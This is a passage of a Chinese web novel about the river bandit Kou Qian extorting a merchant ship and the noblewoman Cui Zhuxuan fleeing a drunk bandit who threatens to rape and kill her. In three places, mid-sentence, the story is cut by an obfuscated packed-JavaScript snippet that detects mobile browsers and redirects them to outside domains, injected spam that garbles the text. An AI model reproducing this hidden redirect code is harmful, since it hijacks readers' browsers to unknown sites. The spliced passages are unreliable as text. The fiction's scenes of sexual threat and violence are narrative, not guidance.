因着两只手都被木头裹着,接连捻了三次都没拿起来,最后还是在旁笑得乐不可支地范云帮着穿好针、引好线,把针递到她手上。 “崔娘子从前竟没做过针线活吗?” 崔竹喧瞟过范云的动作,无非是把针在帕子上插来插去,深觉自己已经会了,于是大胆地把针头捅进帕子,从反面拉出来,而后再度扎穿,面上一副云淡风轻的模样,“也做过些的,花、鸟、虫、鱼都绣过。” 范云强逼着自己不去看她那不成章法的动作,以免一时没忍住笑得太大声,咬着一抽一抽的唇,问:“那崔娘子现下是在绣什么?” “……竹子,不像吗?” 白帕子,绿丝线,拢共才七八针,绣出条不直不弯、断断续续、歪歪扭扭的线,活像是被撕碎的草沫子掉在上头,形、神皆不似,唯有那点绿色能同竹子攀扯上些关系。 而同样是白帕子,绿丝线,范云那头已利落地绣出了针脚细密的半片叶子,若不是因同她说话耽搁了时间,怕是已然完工了。 崔竹喧看看那方,又看看自己这方,着实寻不出什么褒扬的词句,好半天,涨得脸色通红,“这是、这是特殊的针法。” * 江心,船上。 管他是舵工、缭手,斗手还是碇手,皆被麻绳捆缚住手脚,如同蚂蚱一般沿着桅杆绕成圈,也就是锦衣华服的大肥羊有个稍稍优渥些的待遇,单人单绳被安置在甲板中央。 “搜完了?可别留几只老鼠在我们眼皮子底下窜来窜去。” “放心吧老大,活人都在这儿了!”瘦子拍拍胸脯,信誓旦旦地开口。 匪首点了下头,懒散地起身,行至那个被捆住青年面前,手指轻动,下一瞬,便有一瓢冷水兜头浇下,把那身绸缎晕湿大半,青年这才悠悠转醒,面露惊恐地望向这帮子恶匪。 “你们这般为非作歹、拦河截道,就不怕落得个午门斩首的下场吗?” “你是这艘船的东家吧?” “是又如何,不是又……”青年口中的喋喋不休,在喉头抵住冷刃时戛然而止,他艰难地咽了口口水,重新组织语言,“我、我是。” 匪首并不讲究,曲腿便在甲板上坐下,左手支着脑袋,右手拎着砍刀,刀尖沿着他脖间横纹向后,用曲刃环住他的整个脖颈,只消手头一用劲,便有热腾腾的人头落地,“瞧着眼生,第一次在松荆河走货?” “是,一贯是我兄长走货,但日前他带到南边的货出了岔子,便临时由我走一趟。”青年的声音有些发颤,目光落在那只持刀的手上,好半晌才鼓起勇气,深吸一口气道,“你、你们劫财可以,但是,不要伤人。” 匪首歪头看他,嗤笑一声:“有点胆气,可惜没什么脑子。” “你!” “我怎么了?”匪首随意将手往回收了些,冷硬的刀刃便陷进他的皮肉,虽未见红,青年已然被吓得脸色煞白,而说话人却于此时,恶劣地扬起唇角,“初次见面,自我介绍一下,我叫寇骞,在这松荆河上讨生活,不爱杀人,只是挣些辛苦钱。” 水匪头子说自己不爱杀人,可信吗? 可此情此景,由不得他不信。 青年僵硬着一张脸,苍白的唇抖动,好一会儿才有声若蚊蝇的词句冒出,“我、我叫金玉书。” 寇骞满意地点头,互通姓名后,便可详谈正事,正欲同他仔细说说这八百里水泊的规矩,后头却突兀地插进来一句喊声:“寇老大!” 声音来自桅杆那被捆住的一堆蚂蚱。 “寇老大,我们见过的!这、这都是误会啊!” 寇骞面上的笑倏然敛了,语气无甚波澜,“认得我?” 后头惊慌的声音还在继续,“该准备的东西,我们一样不少,都是照着您的规矩来的!” 不多时,便有三四口木箱被抬了上来,阿树率先上前,用刀尖将箱子挑开,各式各样的货物琳琅满目,绫罗绸缎、胭脂水粉,还有十数条银铤横陈其间。 依着规矩,凡往松荆河走商的船只,需将每种货品都备上一份,再添些金银,用以买路——当然,也可以不买,但是水深风浪大,这船行河上,谁知道会不会沉呢? “寇老大,您可点点,只多,不少!”男人肥头大耳,肤色黝黑,自称是这艘船的舟师,脚上的绳索刚松,便腆着脸凑到寇骞面前,将金玉书挡在身后,“我家小公子第一次出远门,不懂规矩,气性又大,整日在舵手面前指手画脚的,这才不慎偏航,没赶上给寇老大送礼。” “是这样?”寇骞似笑非笑地看过去。 “正是如此!”男人应得诚恳,金玉书面上倒是似有不忿,却迫于周遭的刀刃,不敢作声。 “下回?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13810890|146112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “一回生二回熟,下回哪还能忘了规矩?” 无非就是想试试能不能躲开他们这窝水匪,省一笔银钱罢了,追究也不过是宰两个人,再多索些钱,麻烦得很。 “你们这船是去哪的?”寇骞忽然问。 “……胥江。”男人一时摸不清他的意思,方才应声,便听他继续追问。 “返航时去哪?” “去、去汾阳,寇老大是有什么吩咐吗?” 寇骞微微凝眉,转而望向桅杆,摆摆手,遣人将那些个船员尽数松开,自寻了个空闲地躺下,其他人大抵也是这般,零零散散地遍布整艘船。 船员们一声不吭地回了自己的岗位,金玉书则是目光四处打量一番,背着人将舟师拽进船舱,气愤地问:“不是给钱了吗?他们怎么还不走?” 舟师理了理被捏皱的袖子,不以为然,“哎呀,这是规矩,他们在这儿待着,能保着我们不被旁的水匪滋扰。” “要我说,最开始就不要绕那一手,弄得大半夜的挨一下,得亏这伙人只图财,不然我们这一整船人都翘辫子了!直接本本份份地把钱交了,客客气气地把人迎上来,再客客气气地把人送走不久结了?他们要的又不多,权当是多雇了几个护卫,再不行,就算是打发叫花子了呗!” “朝廷就没人管管吗?”金玉书忿忿不平。 “这剿匪得要兵啊,兵是能随随便便动的?”舟师轻叹口气,安慰道,“这么多年不都是这样过来的?这几年姓寇的这窝水匪出来后,还更太平些,人都少死几个,有什么不好的?” “你!这松荆河上水匪盛行,就是你这种人惯出来的!” 金玉书只觉话不投机,聊出了满腔怒火,甩袖出去,兀自立到甲板上吹风。 如此醒神片刻,眼角余光瞥到歪歪斜斜躺在船舷边的人,目光微动,右手探入左袖中,握紧匕首,不动声色地靠近。 今日被俘,不过是这匪徒无赖,夜半偷袭,重新较量一番,焉知他不能生擒水匪,为民除害? 他脚步极轻地横移过去,呼吸放至最缓,一步、两步……十步……二十步…… 金玉书手心收紧,刀刃出鞘前,却先对上一双森冷的眼。 “你要是先坏了规矩,可就不能怪我和我的手下也跟着坏规矩了。”寇骞嘴角带着笑,却笑得人脊背发凉,这是实打实的威胁了,要是他敢动手,这整船的人都得赔命。 金玉书恨恨地将手松开,转身欲走,到底心里过意不去,再度开口:“既拿了东西,就赶紧走,我才不会雇一帮子水匪当护卫!” “你,确定?”寇骞靠着船舷坐起身,微微挑眉,“如我这么守规矩的水匪,可是过了这村就没这店了。” “不过是因日前风浪大,船上人被闹得筋疲力尽,这才让你们钻了空子,即日起,船上会日夜巡逻,绝不会再给你们这些宵小任何可趁之机!” 寇骞眨了眨眼睛,敷衍一笑,起身拍去衣上的尘,朗声道: “兄弟们,收工了!” 21. 021 夜鬼叩门 寇骞翻过船舷,犹如一尾急待归江的鱼,自高处直直跃下,踏在竹筏上,荡起一层清波。而后是更多的鱼,跟随着他的步伐,带着缴获的战利品,从大船奔向小舟,摆渡向自由。 浮浪扬起又相撞,碎成一圈圈涟漪,向外散去。不过须臾间,江面辽阔,江水无痕,江上形同鬼魅的匪,便同这被日光照彻的水雾,一并被驱散至形影无踪。 大船顺水而下,小舟逆水往上。 竹筏上载着几口木箱,拴上绳索,跟着前头的舟楫,舟楫里是两个人,一躺一坐,坐着的是阿树,正一手一根船桨费劲地划着水,目光幽怨地盯着面前人,忿忿不平。 “老大,你好歹也出点力啊!我都划一路了!” “不想划?”寇骞懒懒地撑起眼皮,就见阿树小鸡啄米式地连连点头,慢吞吞地扯动唇角,一副脾气极好的模样,“那就别划了,桨放下,游回去。” 阿树面上的笑容一寸寸崩裂,攥着船桨,扭头将水面上倒映的人影砸得稀碎,饶是如此,仍不解气,嘟嘟囔囔地说着坏话,“你咋不游回去呢?就知道使唤我!” “能三更天不睡觉,给小娘子生火做饭,就不能动手划两下船……咕噜噜……” 阿树话未说完,便已挨了一脚,当头栽进了江里,扑腾得水花四溅,引得周遭的笑声不绝于耳,船上人却只悠悠开口:“换牛二过来。” 把这个嘴碎的撵开,换个人来划船,总该消停些,寇骞想。 可新的笨头笨脑的人上了船,摸上船桨,手上使劲,嘴皮子亦不得闲,“老大,你今天怎么带着把砍柴刀出来打架?” “……要你管?” * 因着崔竹喧的刺绣技艺着实有限,一个下午别说是成品,便是个雏形也没能完成,只好把帕子往怀里一塞,声称要再费心钻研几日,实则把这糟心玩意儿带走,免得留在这丢人现眼。 用罢晚饭,是范云提着灯送崔竹喧回去的,临走时,将灯笼给她留了一个,还不忘嘱咐她两句。 “夜里可千万不要开门,不管敲门的人说什么都不能开,若有要紧事,寻你一个外人自然无用,若是鸡毛蒜皮的小事,更用不着三更半夜上门,全都不要理会就好。” 寇骞也同她说过类似的话,不要给陌生人开门。 好笑,她又不是三岁小孩了,哪会连这点小事都要人处处提点着? 崔竹喧点头应是,将院门合拢,插上门闩,将灯笼挂在檐下,并不吹熄里头的蜡烛,由着烛火盘踞在灯芯,将烛身一点点烤化,而她则借着火光,在院内来来去去。 无他,缺了帮忙烧洗澡水的寇骞,她便只能硬着头皮自己动手了。 后院有井,但崔竹喧不会用,且依照她的力气,即使会用也拎不动整桶的井水,所幸,她不必从那么麻烦的地方取水。厨房有个能同时钻进两三个人的大瓮,掀开木盖,便能见到里头盈满的水。 泡澡是没办法了,但将就着用布巾擦洗身子还是能做到的。 崔竹喧将厨房的门窗尽数合拢,用瓢将清水舀进盆里,而后将身上的衣物褪去,用浸透的布巾慢条斯理地擦洗,脖颈、脊背、腰腹,每擦完一处,便将门支开一条小缝,把脏水倒出去,而后盛上新的。 白日放了晴,要比前几天热些,不必担心受凉,她便洗得格外慢。 夏夜静谧,除了几声蝉鸣,无非是她折腾出的稀里哗啦的水声,却于此时,突兀地插进一点沉闷的碰撞声——有人叩门? 崔竹喧当即停了动作,屏住呼吸,侧耳贴着门板,那声音仍在继续,三长一短,也不知是巧合还是蓄意为之。 顾不得第二遍澡只洗到半途,第三遍澡尚未来得及开始,浑身湿漉漉的,她便抓起旁边的衣物着急忙慌地往身上套,所有的系带乱绑一气,好赖是穿上了,可抓起菜刀,附耳再听,那敲门声不知何时已停了。 走了? 将呼吸放到最轻,又候片刻,确实没有动静。 许是以为屋里没人? 紧绷的弦稍稍松了些,崔竹喧将菜刀背在腰后,用指尖将门支出一条小缝,因有灯烛相照,看得还算清晰,好像无人。 她将门推得更开了些,探出一个脑袋,左右环顾,应是无人。 门被彻底推开,她攥着刀柄,围着屋子绕了一圈,又检查过门闩,正好好地插在上头,确实无人。 不过是虚惊一场,崔竹喧想。 她把菜刀放回厨房,而后走到檐下,欲将灯笼里的烛火吹灭,眉眼低垂,面前却突然一暗,一个巨大的黑影将她笼罩在内,再抬眸时,灯笼后,是一双猩红的眼。 她认得这双眼睛,来自臭烘烘的酒鬼,酒鬼满脸横肉,慢慢地咧起嘴角,露出泛黄泛黑的牙,那牙并不齐整,歪歪斜斜地挤在一块儿,一颗颗被磨成锯齿状,不似人,更像是凶恶的兽。 猩红的眼紧盯着她,尖锐的牙一张一合,涌出一股令人作呕的恶臭。 “小娘子,还记得我吗?” 他们只说,不要开门,却没人说,有人闯进门内应当如何。 想逃。 想叫。 想哭。 各种念头交织到一起,汇成一种名叫恐惧的情绪涌上心头,浑身血液恍若倒流,每一根骨头都在发抖,她艰难地呼吸着,好一会儿,才寻回了自己的声音,却低若蚊蝇,旁人听不清,又或者,她自己也不知道她说了什么。 酒鬼往前凑近了些,她却猛然退了一步,恶狠狠地瞪过去,威胁道:“你偷闯进来,就不怕寇骞教训你吗?” 酒鬼的动作犹疑一瞬,面上的笑容却更大了些,解释道:“怎么会是偷闯呢?我见着门没关,怕屋里遭了贼,便进来看看。” 门分明是关——开的? 她不可置信地望过去,门闩被随意地扔到一旁,与黄泥野草作伴,门板大敞着,露出深不见底的夜色,好似囚牢,好似兽口,都在逼着她、催着她认命赴死。 她扭回头,故作镇定地回答:“既然看过了,没贼,那就走吧。” 酒鬼哧哧地笑起来,五官扭曲地挨挤到一处,“你是老大的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13810891|146112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人?” 崔竹喧下意识想否认,可又想到白日里范云说的话,整个白原洲都听寇骞的,面前的这个酒鬼也是一样,她心一横,倨傲地看过去,“你既然知道,还不恭敬些?得罪了我,寇骞不会放过你的!” 她本意是威慑,孰料这酒鬼却像是听到了什么荒诞的笑话,扶着墙大笑,笑声呕哑,与其说是笑,不如说是野兽的嘶吼,令人毛骨悚然。 “今天不下雨,他回不来的,”酒鬼两只浑浊的眼珠子在肮脏的眼眶打转,目光愈发露骨,肆意地黏在她身上,一寸寸爬过去,“真是漂亮啊,他留你一个人独守空房,一定很寂寞吧?难怪,你要来勾引我了。” “你在说什么胡话?我何时勾引你了?” “小娘子敲了我家的门,不就是想跟我上床吗?放心,我不会亏待你的!我保证,一身的力气都用在你身上,保管让你……” 崔竹喧忍不住向后退去,恼恨自己为何不抱着菜刀过夜,恼恨这人满口的下流词句,恼恨寇骞收了她的金簪,在这种时刻却没了人影,泪水盈满眼眶,她只咬唇强忍着,恶声恶气地警告:“就算寇骞今天不回来,过两天也是要回来的,你如此行事,等他回来,他一定会杀了你!” “只要小娘子不告状,此事自然不会被他知道。” 她怎么可能不告状?她定会让寇骞像片鱼一样,把这人生剐了! 酒鬼一眼便瞧出了她的想法,狞笑道:“小娘子可以主动跟我好,我是奸夫,你是□□,我们可以一起瞒着他,长长久久地好——又或者,小娘子奋力抵抗,或是撞墙自尽,反正人刚死,身体还是温温热热的,做起来差不多,等完事了,我把你往水里一丢,你猜,他能不能找到你?” “没准儿找都不找吧?兴许以为你是偷偷抢了船,渡河逃跑了,以往,也不是没有过这种事。” 别说以往,她到这的第一天,不就这样做了吗? “出了白原洲,他就不会再管你了,可惜小娘子这般细嫩的皮肉,就要泡在江里,被鱼虫啃食,日日夜夜都不得安宁啊!” 一股寒意涌上心头,蔓延至四肢百骸,悬在眸中的泪滴终是滚落下来,如一颗颗晶莹的珠,而后穿成线,自此一发不可收拾。 崔竹喧真的怕了,她向来自诩崔氏贵女,自来只有她欺压别人的份,甚至无需欺压,凡入目可及之人,皆是要奉承讨好她的,莫说是斥责辱骂这般重话,便是平平常常的一句拒绝她都鲜少听到,还是第一次遇上这般肮脏龌龊、威胁恐吓。 “小娘子,想好了吗?要不要从了我?” 许是怕到极致,她反倒冷静了下来,攥紧衣摆的手倏然松开,面上的泪痕未消,她却扬起唇角,粲然一笑。 灯下看美人,色更添三分。 微黄的烛火照得夜色朦胧,美人肌肤如玉,眼尾垂泪,一副楚楚可怜相,真真叫心头直痒,酒鬼目光愈发火热,一时竟看痴了,口中喃喃:“小娘子……” 他看着朱唇轻启,而后吐出了世界上最美妙的声音。 “好啊!” 22. 022 皮肉同焚 酒鬼色迷心窍,急吼吼地冲上前,大张着双臂,欲将人揽进怀里,偏美人莲步轻移,叫他扑了个空,他正待发作,却见崔竹喧斜倚着门框,巧笑嫣然,于是那点怒意又轻飘飘地散了,沉醉在这欲迎还拒的小把戏中。 “你确定要在这儿吗?”崔竹喧问道,眼睫低垂,掩住眸中的一抹暗色。 白原洲人烟稀少,屋宅分布得零散,寇骞的居所更是在这荒芜地中的偏远处,若在此同他纠缠,就算侥幸再寻了菜刀入手,凭她那点气力,怕是也无法同这样膀大腰圆的壮汉相抗,不如诱他出去,或能找到几个帮手。 “这是寇骞的屋子,他这人一贯谨慎,你我在此厮混,他定能察觉。” 酒鬼面露迟疑,到底在刺激和小命中选择了后者,“去我那。” 崔竹喧矜贵地点下头,提了灯笼在手,努努下巴,示意这人上前头领路。 于是,一人一鬼一盏灯,依次行入漆黑的夜色。 * 船行数个时辰,终于寻到一方陆地靠岸。 松荆河水域宽广,纵横南北,水中大大小小的洲沚多不胜数,白原洲是其中之一,眼下登上的青启洲亦然。 相较于只有零散房屋拼凑成的、一片荒芜的白原洲,青启洲就要热闹得多。许是因着这久违的晴天,各个洲渚的人都汇聚于此,沿河的堤岸有多长,密密麻麻拥堵在一起的船只就有多长,行人满道,只是无一例外,腰间都带着兵刃。 这是一个好地方,但不是好人待的地方。 留下一个牛二看船,其余人则合力抬起木箱,踩过湿软的泥沙,经由各种各样的小摊,在各色凶神恶煞的摊主不怀好意的打量目光中穿行而过,止步在这洲上唯一一间客栈前。 “寇老大,有些日子不见了啊!”柜台内的人摆出一张笑脸,眯成细缝的眼睛往后一瞟,见着需有两人合抬的大木箱竟有三个之多,面皮上又多出了几道新褶,由衷地赞叹道,“不愧是寇老大,一出手就是大生意!” 寇骞从怀里摸出一条银铤抛过去,“房留着吧?” “自然,自然!”掌柜的捧着银铤用后槽牙一咬,面上登时乐开了花,用衣袖将银铤上的口水仔仔细细地擦拭干净,这才小心地存放好。 而寇骞一行,早在他应声那刻,便大摇大摆地上楼去了。 沉重的木箱在厢房里一字排开,掀了箱盖,便可挨个挑选里头的物什了,看上眼的留下,看不上眼的则转手卖了,就如之前路上的摊贩一般,聚在一起,相互销赃。 他们今日劫的是艘商船,东西多而杂,最上头的最值钱,下头则混着占位置的陶罐、瓦罐、锅碗瓢盆,甚至在底下铺了几袋粟米用来凑数,是那些船家惯用的小伎俩了,不算罕见。 阿树盘腿坐在地上,兴致缺缺地把东西分门别类地归置,一张脸皱巴成了苦瓜的模样,“啧,早知道在船上的时候仔细瞧瞧了,看着这么几大箱,尽是些不值钱的玩意儿!” “除了这儿,你还能上哪花钱去?能用得上就好,免得哪日缺了,翻遍各个摊子都寻不到!”边上的络腮胡子反驳道,乐呵呵地挑挑拣拣,将几个碗碟放到自己身边,“好些日子没下水,我吃饭的家伙事儿都烂得不成样子了,他大爷的,喝口热汤还得当心别割烂了嘴!” 阿鲤将半个身子探进箱中,没寻到想要的笔墨纸砚,却在夹缝里扯出一本粉色封皮的书来,她翻了翻,全是字,也全不认得,“这个你们要吗?” 数个水匪皆抬头看过去,而后异口同声地回答:“不要。” 白原洲没有学堂,也没有教书先生,这也就意味着,这帮子人,有一个算一个,都是文盲,瞧见那芝麻绿豆点大的黑方块,脑子就直抽抽,相比之下,那些锅碗瓢盆都开始眉清目秀起来。 于是阿鲤又捧着书跑到寇骞面前,寻求这位水匪中少有的知识分子的意见,“老大,这个你要不要?不要的话,可以给我吗?” 寇骞扫了眼封面上的字——“春心乱”,大约是那些文人爱读的话本子,就算拿出去卖也卖不掉,通常被他们这种匪寇用来引火和垫桌脚,他懒散地点了头,阿鲤便欢欢喜喜地把书藏进怀里。 阿树继续翻着东西,丝绸和珠钗价贵,可能得卖个几日,胭脂水粉倒是好出手些,不管是女匪买去自用,还是男匪拿去讨好人,都用得上,阿树顺手塞了一盒进自己兜里,再要去拿,却见那个万事不管的匪首把剩余的七八盒给包圆了。 他不禁撇嘴,用脚后跟想,他都知道这些会被送去哪,那小娘子拢共才生了巴掌大的一张脸,涂得完嘛就! 腹诽颇多,面上却挂着笑,“老大,那我们出去卖货了!” 匪首敷衍地应一声,已然枕着手臂躺床上补觉去了。 * 夜黑风高,最宜烧杀抢掠。 灯笼里的烛光微弱,因着风,因着脚步,因着慌乱的心跳一并摇曳着,半明半昧间,只将这条小路照出些模糊的、飘摇的轮廓,远处高山宛若正在休眠的巨兽,道前的屋舍亦如蛰伏中的猛禽,天地间黑洞洞的,囚住了她,还往她的笼中放进一只恶鬼。 她认得这条路,认得此行要去的尽头,她不免想将脚步放慢些,兴许能碰上哪个夜归人,帮她宰了这恶鬼。 可没有,一个都没有,路上幽寂,莫说人声,甚至连鸡鸣狗吠都无,乃至白日里喋喋不休的蝉,亦生了惧意,躲藏进枝叶草丛间。 她又想加快些脚步,这处无人,兴许前头有人呢?她若是走快些,能不能快些得救? 可身边那到粗重的脚步忽然停了,她不得不跟着停下,转头看去,那张鬼脸上正洋溢着喜色。 “到了,小娘子且等等。” 崔竹喧攥着灯笼的提手,惴惴不安地立在一旁,酒鬼背对着她,在腰间摸寻着,于叮叮当当的声音中扯出了一根绳,被汗渍、酒渍、油渍又或更多无名的污垢侵染的绳,上头串着零碎的铜板和一把生了铜锈的钥匙。 钥匙插入锁孔,发出咔哒一声轻响,只需手腕用力,再一声响,锁就该开了。 酒鬼热得口干舌燥,崔竹喧冷得寒意刺骨。 电光石火间,崔竹喧抓紧灯笼,猛得往他后脑勺一砸,抛弃了灯,甩脱了鬼,孤身奔逐进浓得化不开的黑暗中去。 不过是细竹条编织的骨架,杀伤力甚至比不得脚边随意一块石头,那点撞击的疼痛压根儿不值一提,但笼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13810892|146112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内的烛却被震了下来,鲜亮的火舌一舔,就将外头的那层薄纸烧穿,灼热顺着焦黑的洞口往周遭蔓延,又不肯止步于此,借着风势,爬上头发,爬上衣领。 这回便不只口干舌燥了,还有皮肉同焚。 崔竹喧拼命地往前逃去,十数年来的循规蹈矩,皆于今夜碎了个干净。 眼前是一望无际的黑,身后是以人肉为炬的光,耳畔的风呼啸着,带来厉鬼的嘶喊、哀嚎,脚下的淤泥深深浅浅,大抵每一步都能溅起污水与泥点,缠上她的鞋袜,衣摆,试图阻拦她的脚步。 不能停,绝对不能停! 她绝不能死在这种无名处,做一只孤魂野鬼。 呼吸愈发急促,明明是每时每刻都做惯了的事,却于此刻变得无比艰难,有尖刺、有利刃,皆顺着入口的风,一寸寸扎穿她的喉骨,剜开她的血肉。 她不敢回头,她怕看见一张狰狞的、血肉模糊的脸,可那始终缀在身后的惨叫声,无疑是那鬼愈来愈近。 只要、只要她能敲开一扇门,躲进去—— 慌不择路的脚步,让她早已偏离了白日记下的小道,她只能大睁着眼睛,在黑暗中竭力分辨,目前终出现一处屋宅,她来不及多想,直直地冲过去,用拳、用掌不顾一切地敲打着木质的门板。 “有人吗?开门啊!” “救命啊!” 门框被砸得颤动,抖落了一层飞灰,腐朽的门板嘎吱作响,可始终未开。 崔竹喧低眉,这才发现,门前挂着一把铜锁。 门是从外锁的,证明,屋内无人。 她急忙弃了这处,去寻下一个庇护所,可一个、两个、三个……无一例外,门上皆挂着铜锁。 怎么会没人呢? 她倏然想起,今日是晴,寇骞早早便出门打渔去了,这些屋宅的主人应是同他一般,不到三日,不会归来。 可、可这白原洲,总该有人剩下的。 于是,崔竹喧不再一间间去试,只奋力向前跑着,企图在这夜幕中寻到些光,若有烛光,定是有人。 不知是踩着了石块还是泥洼,她跌了一跤,脚踝、膝盖还有手心,每处都是生疼,可能淤青、可能破皮、可能流血?她分不清,分不清哪处伤重,哪处最痛,仓惶地爬起身,纵是步履蹒跚,也好过待在原地等死。 “开门!救命!” 她宛若坠入江潮的虫蚁,在水浪中沉溺,望见那抹光时,好似寻到了最后一根浮木,她竭力呼喊着,用最后的气力叩门。 纸糊的窗棂里透出人影憧憧,她看见那人影动了,目光一瞬间亮了起来,指尖扶着门板,只觉上头粗粝的、老旧的纹路都开始变得亲切起来,面上的惊惶变成了即将得救的欣喜,她回头张望,那个被烈火灼烧的厉鬼好似也没那般可怕了。 崔竹喧俯身抓起脚边的石子,用不甚好的准头朝他砸去,或多或少,总是能让他的脚步再慢些。 她背靠在门板上,侧身贴着门缝,只消里头的门闩一拉开,她就能以最快的速度钻进去。 她就要得救了,她想。 可下一瞬,窗内的烛光灭了。 她赖以求生的浮木,沉下去了。 23. 023 亡命之徒 夕阳垂暮,一片黛黑色的天,唯留下半角金色的余晖,白日式微,夜晚的热闹却才刚开始。 一行人占据了靠窗的三张桌,背靠着江水,喝酒吃肉,至兴起时,阿树一手抱着酒坛,一手端着酒碗,在大堂里挨桌挨个划拳过去,赢家喝酒,输家也喝酒,醉醺醺地扯着嗓子唱着山野小调,同悦耳无关,只吵得人脑仁疼。 寇骞倚着窗框,望着江上皎洁的月,慢悠悠地喝着碗里的酒。 白原洲荒芜,地少人更少,哪怕是普通一把下锅的米,也得从外头搞来,或偷,或抢,又或是乘一只小舟飘零江上,向过路的船只,沿岸的行人乞求、讨要,毕竟土里种不出庄稼,洲上开不起米行。寻常时间还好,若碰上这种汛期,即使带回了米粮,依旧得紧巴巴地过日子,谨防在连绵不断的雨中活生生饿死。 其它洲渚,大大小小,皆类于此。 是以,于他们而言,最快活的时光无非是待在这青启洲,为碗中米肉,为坛中酒水,为这份吃喝不愁,为这份几可媲美河对岸的汾桡县的热闹,故有不可渡河者,四处劫掠,成为江上剿之不尽、灭之不绝的水匪——寇骞亦是其中之一。 碗中酒饮罢,他倾坛又斟一碗,清冽的酒液入喉,他却没尝出什么畅快,食之无味,他想。 兴致缺缺地撂了碗,自己无甚食欲,却忧虑起另个人的晚餐来。 小祖宗嘴刁,也不知吃不吃得惯范娘子的手艺,若是吃不惯,怕是又要靠那些果脯点心充饥了,一顿还好,若是饿上三天……她还爱干净得很,非得日日洗澡,今天天热些,用冷水应当不至受凉……她娇气,得要人时时刻刻哄着,一个人闷在屋子里,怕是会无聊…… 他忽而觉得,青启洲好像也没那么好,至少现在,搅得他一颗心静不下来。 寇骞坐在窗框上,用垂下的一只右脚踢了踢桌腿,“玩够了没?回去吧。” 阿树放下酒碗,用混沌的脑子思索了好一会儿,打了一个响亮的酒嗝,逗得一桌人歪七扭八地笑着,“这、这么早?老大,你先上去睡吧,我们、再、再喝会儿!” “不是回房,是回白原洲。” 阿树愁眉苦脸地抗议道:“好歹睡一晚再走啊!” “东西都置办齐了,想喝回去再接着喝,”寇骞从窗台上翻下来,“都醒醒神,走了!” 任谁玩乐到一半被突然叫停都是不高兴的,但叫停的人是顶头的老大,纵然心中多有不忿,还不是得闷头抱着船桨划船。 一只只小舟沿江而去,于夜风相背的方向,惊起阵阵涟漪。 “就晓得催催催,自从见了那小崔娘子,见天的就赶着过去献殷勤。”阿树嘟嘟囔囔的,大抵是酒壮怂人胆,几碗酒下肚,他都敢当着正主的面骂骂咧咧。 念在不能往江中新添水鬼的份上,寇骞到底忍着没用船桨把这个碎嘴子挑进江里,只是后悔给范娘子塞银子时,没委她将这人的上下嘴皮子给缝严实,迎着一嘴的江风,还堵不住他的喉咙。 约是月上中天时,舟楫重新靠岸,将栓船的麻绳捆好,一窝水匪携赃物归家。 “老大,送哪去啊?” 牛二活动了下手臂,同阿树合力将箱子抬起,往常这些东西都是送去寇骞那存着,等得了空,再大家伙儿瓜分,现下谁都知道,寇骞的屋子住了个外人,那再送过去,就不怎么合适了。 “就你们那吧,今夜便分了。”寇骞接过火把,在前头领路,思忖着明早是不是该去哪搞两条活鱼,假称是自己捕的,免得小祖宗起疑心。 偏于此刻,夜风中却传来飘渺的人声,似是哭喊,似是呼救,瘆人得很。 小喽啰被激起了一身的鸡皮疙瘩,往手臂上搓了搓,小声道:“咱不会是把江里的水鬼也载回来了吧?” “屁!”阿树颇为不屑地扫过去一眼,反驳道,“你耳朵倒着长的是吧?江在后头,这声音是前头传来的,是吊死鬼、饿死鬼、短命鬼都不可能是淹死的水鬼!” 牛二也奇怪道:“咱又没杀过女人,便是闹鬼,也该闹男鬼啊,闹女鬼算怎么个事?” 话音刚落,风里又掺进了凄厉的男声,痛苦地哀嚎着。 牛二点点头,乐道:“诶,这就对味儿了不是?男鬼!” 小喽啰吓得脸色发白,声音发颤,几乎要哭出来,“这、这怎么又来一只?两只鬼,这日子可怎么过啊!” “鬼什么鬼?出事了!”寇骞眸色一沉,声音冷厉地吩咐道,“留两个人守东西,其他人提刀跟我走。” * 范云千叮咛、万嘱咐,让崔竹喧夜间无论如何都不要开门,那旁的人家,是否也曾被这般告诫过呢?所以,才会有了她如今的呼救无门。 酒鬼的头发被火烧去了大半,裸露在外的头皮被烫得焦黑,衣料沾着溃烂的皮肉,淌出的液体也分不清是污血,还是烤炙的人油,他愈发得像一个鬼了,或者说,他就是鬼。 “臭娘们,老子绝饶不了你!” 崔竹喧僵在原地,感觉从头到脚一阵寒意,指甲刺进手心,仍止不住颤抖,“别、别过来!” “我是虞阳崔氏女,你敢动我,就不怕九族被处以极刑吗?” 酒鬼脚步微停,猩红的眼睛望着她,突然发笑,“崔氏?没听过!你就是皇帝的女人,老子都照睡不误!” 他狞笑着,大步跨近,“极刑又怎么了?不过就是死,老子跟着寇骞在水上烧杀抢掠这么多年,再添上你这一桩罪名,又能怎么样?” 